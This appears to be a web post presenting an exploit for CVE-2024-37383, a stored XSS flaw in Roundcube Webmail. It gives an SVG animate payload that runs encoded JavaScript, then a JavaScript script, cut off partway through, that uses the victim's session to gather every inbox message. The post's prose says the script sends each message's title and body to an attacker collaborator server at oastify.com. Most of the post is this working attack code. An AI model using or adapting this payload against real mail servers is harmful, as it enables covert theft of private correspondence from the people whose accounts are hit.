
Roundcube mail server exploit for CVE-2024-37383 (Stored XSS)
The CVE-2024-37383 vulnerability was discovered in the Roundcube Webmail email client. This is a stored XSS vulnerability that allows an attacker to execute JavaScript code on the user's page. To exploit the vulnerability, all attackers need to do is open a malicious email using a Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
This code automates the process of retrieving all messages inbox from a Roundcube webmail server and forwarding that data to a specific collaborator server endpoint.
The main webmail URL (target) and the receiving server URL (attackerserver) are defined as variables at the beginning for easy configuration.
The getPageCount function sends a GET request to the main webmail URL to fetch metadata, including the total number of pages (pagecount). If pagecount is found, it proceeds to loop through each page.
For each page from 1 to pagecount, it constructs a paginated URL to request that page. Each page’s response is checked for instances of add_message_row(NUMBER) using regex, extracting message IDs from each instance and collecting all IDs in a single list.
For each message ID, the code constructs a URL to request detailed data about that message. It sends a GET request for each message ID URL, receiving the full response HTML.
Within each message response, it uses regex to capture the (message title) and main message content. Any HTML tags are stripped from the message content to keep only the plain text.
For each extracted message, a POST request is made to the server endpoint with the title and cleaned message content, URL-encoded for proper transmission.
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";